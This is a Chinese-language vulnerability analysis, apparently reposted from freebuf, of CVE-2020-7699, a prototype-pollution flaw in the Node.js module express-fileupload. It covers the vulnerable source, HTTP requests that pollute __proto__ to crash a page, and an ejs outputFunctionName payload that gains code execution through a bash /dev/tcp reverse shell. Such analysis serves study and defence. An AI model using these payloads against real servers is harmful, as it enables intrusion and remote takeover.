CVE-2020-7699漏洞分析
参考链接：
一、简介
CVE-2020-7699：NodeJS模块代码注入
该漏洞完全是由于Nodejs的express-fileupload模块引起，该模块的1.1.8之前的版本存在原型链污染（Prototype Pollution）漏洞，当然，引发该漏洞，需要一定的配置：parseNested选项设置为true
该漏洞可以引发DOS拒绝服务攻击，配合ejs模板引擎，可以达到RCE的目的
二、漏洞源码分析
如果想要复现的话，需要下载低版本的express-fileupload模块
npm i [email protected]
引起漏洞的源代码：（关键部分）
busboy.on('finish', () => {
debugLog(options, `Busboy finished parsing request.`);
if (options.parseNested) {
req.body = processNested(req.body);
req.files = processNested(req.files);
}
if (!req[waitFlushProperty]) return next();
Promise.all(req[waitFlushProperty])
.then(() => {
delete req[waitFlushProperty];
next();
}).catch(err => {
delete req[waitFlushProperty];
debugLog(options, `Error while waiting files flush: ${err}`);
next(err);
});
});
function processNested(data){
if (!data || data.length < 1) return {};
let d = {},
keys = Object.keys(data); //获取键名,列表
for (let i = 0; i < keys.length; i++) {
let key = keys[i],
value = data[key],
current = d,
keyParts = key
.replace(new RegExp(/\[/g), '.')
.replace(new RegExp(/\]/g), '')
.split('.');
for (let index = 0; index < keyParts.length; index++){
let k = keyParts[index];
if (index >= keyParts.length - 1){
current[k] = value;
} else {
if (!current[k])
current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
current = current[k];
}
}
}
return d;
};
其实引发原型链污染处就在于这个porcessNested方法，该函数用法：
例如:
传入的参数是:{"a.b.c":"m1sn0w"}
通过这个函数后，返回的是"{ a: { b: { c: 'm1sn0w' } } }
其实他跟那个merge函数比较类似，都是循环调用，因此存在原型链污染
传入参数:{"__proto__.m1sn0w":"m1sn0w"}
然后我们调用console.log(Object.__proto__.m1sn0w)
返回的值为m1sn0w
到这里，就比较清楚，只要调用processNested这个函数，并且如果函数的参数可控，便可达到原型链污染的目的。所以，这里就要介绍该漏洞形成的先决条件，parseNested配置选项要设置为true，例如：
const fileUpload = require('express-fileUpload')
var express = require('express')
app = express()
app.use(fileUpload({ parseNested: true }))
app.get('/',(req,res)=>{
res.end("m1sn0w")
})
观察最上方第一部分代码，如果parseNested参数为true，则调用processNested函数，且参数是req.body或者req.files
req.body是nodejs解析post请求体，req.files获取上传文件的信息
两种方法都可以。这里先使用req.files参数（后面的RCE会使用到req.body）
关于req.files参数，例如：POST请求上传文件
POST / HTTP/1.1
Host: 192.168.0.101:7778
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101:7778/
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 336
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
Content-Type: text/plain
aaa
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="username"
-----------------------------1546646991721295948201928333--
可以观察到req.files的值为：
{ upload:
{ name: 'm1sn0w.txt',
data: <Buffer 61 61 61 0a>,
size: 4,
encoding: '7bit',
tempFilePath: '',
truncated: false,
mimetype: 'text/plain',
md5:'......'
mv: [Function: mv]
}
}
更改上面的upluod参数为
__proto__.toString
那么结果就会变回：
{
__proto__.toString:{
......
}
}
由于设置了parseNested，会自动调用processNested函数，因此就造成了原型链的污染。
相当于：
{}[__proto__][toString] = { ...... }
当我们再次访问页面时，会返回500的错误（因为toString方法改变了）
三、利用ejs进行RCE
ejs模板引擎存在一个利用原型污染，进行RCE的一个漏洞（这个漏洞暂时还没有修复，可能是因为利用的先决条件是要存在一个原型链污染的点）
先分析一下ejs引发此漏洞的源码：（这里提取出了关键部分）
compile: function () {
/** @type {string} */
var src;
/** @type {ClientFunction} */
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
/** @type {EscapeCallback} */
var escapeFn = opts.escapeFunction;
/** @type {FunctionConstructor} */
var ctor;
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output;' + '\n';
this.source = prepended + this.source + appended;
}
}
src = this.source
ctor = Function
fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src);
fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);
可以从下往上进行分析：
-
调用了fn方法，如果src参数可控，那么就可以自定义该函数；
-
src参数的值来源于this.source
-
从最上面的方法，this.source = prepended + this.source + appended
其实上面整个函数都是在拼接this.source，最关键的部分在这里：
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
}
利用的其实是这个：
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
通过全局分析，opts.outputFunctionName最初是并没有赋值的，如果存在原型链污染漏洞的话，我们可以自定义构造这个值，构造payload：
opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x
仔细观察一下，为什么要x;开头x结尾呢？其实是对上面的拼接，构成一个完整的js语句
现在来看一看如何通过上面的原型链污染来利用ejs达到RCE
这里利用的就是req.body而不是req.files
例如，这里构造POST请求：
POST / HTTP/1.1
Host: 192.168.0.101:7778
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101:7778/
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 339
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
Content-Type: text/plain
aaa
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="username"
123
-----------------------------1546646991721295948201928333--
通过req.body返回的是
{ username : '123' }
我们将上面的username改为
__proto__.outputFunctionName
123的值改为：
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x
当我们再次发起请求时，便会在指定的主机反弹回来一个shell，从而达到RCE的目的
来源：freebuf.com 2020-08-07 23:57:19 by: cowhite
© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册